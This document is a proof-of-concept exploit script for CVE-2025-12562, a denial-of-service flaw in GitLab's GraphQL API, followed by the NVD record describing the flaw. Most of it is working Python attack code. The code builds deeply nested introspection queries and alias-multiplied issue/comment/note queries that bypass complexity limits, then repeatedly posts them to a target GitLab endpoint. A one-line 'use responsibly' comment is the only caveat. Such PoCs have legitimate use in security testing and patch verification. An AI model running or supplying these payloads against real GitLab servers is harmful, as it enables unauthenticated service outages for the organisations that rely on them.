CVE-2025-12562

# CVE-2025-12562 PoC - GitLab GraphQL DoS via Query Complexity Bypass # This PoC demonstrates the query complexity bypass vulnerability # Use responsibly and only with authorization import requests import json import time TARGET_URL = "https://your-gitlab-instance.com/api/graphql" def create_dos_query(): """Generate a GraphQL query that bypasses complexity limits""" # Malicious query exploiting GraphQL aliases and deep nesting # to bypass complexity analysis malicious_query = ''' query { __schema { types { name fields { name type { name kind ofType { name kind ofType { name kind fields { name args { name type { name kind } } } } } } } } } } ''' # Alternative DoS approach using aliases for repeated expensive operations alias_query = ''' query { project(fullPath: "group/project") { ''' + ''' alias1: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias2: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias3: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias4: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias5: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias6: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias7: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias8: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias9: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } alias10: issues { nodes { title description comments { nodes { body notes { nodes { body } } } } } } ''' + ''' } } ''' return malicious_query, alias_query def exploit(target_url, query, num_requests=10): """Send malicious GraphQL queries to trigger DoS""" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-12562-PoC)' } payload = { 'query': query, 'operationName': 'DoSExploit' } print(f"[*] Sending {num_requests} malicious requests to {target_url}") for i in range(num_requests): try: response = requests.post( target_url, json=payload, headers=headers, timeout=30 ) print(f"[+] Request {i+1}/{num_requests} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request {i+1}/{num_requests} failed: {e}") time.sleep(0.5) if __name__ == "__main__": print("="*60) print("CVE-2025-12562 - GitLab GraphQL DoS PoC") print("Target: GitLab CE/EE < 18.4.6, 18.5.4, 18.6.2") print("="*60) # Generate exploit queries introspection_query, alias_query = create_dos_query() print("\n[*] Exploiting with introspection query...") exploit(TARGET_URL, introspection_query, num_requests=5) print("\n[*] Exploiting with alias-based query...") exploit(TARGET_URL, alias_query, num_requests=5) print("\n[!] PoC execution completed")

{"cve": {"id": "CVE-2025-12562", "sourceIdentifier": "[email protected]", "published": "2025-12-11T04:15:58.467", "lastModified": "2025-12-23T21:00:17.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.10 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an unauthenticated user to create a denial of service condition by sending crafted GraphQL queries that bypass query complexity limits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "11.10.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "747FE9B2-8B67-4960-9370-2D5AB5E68090"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "11.10.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "EA6AD140-F16F-4AB1-83E8-528C5841B5D9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "457DB333-60BE-44CD-A674-216AB658E14E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "910967DB-0A8C-4436-9D9E-37BD610E7367"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "919A2588-3EA1-4E15-B47E-61B3E14B2781"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "6343A083-3E1C-4551-B230-76CABC3FDD67"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/12/10/patch-release-gitlab-18-6-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/579152", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3360710", "source": "[email protected]", "tags": ["Permissions Required"]}]}}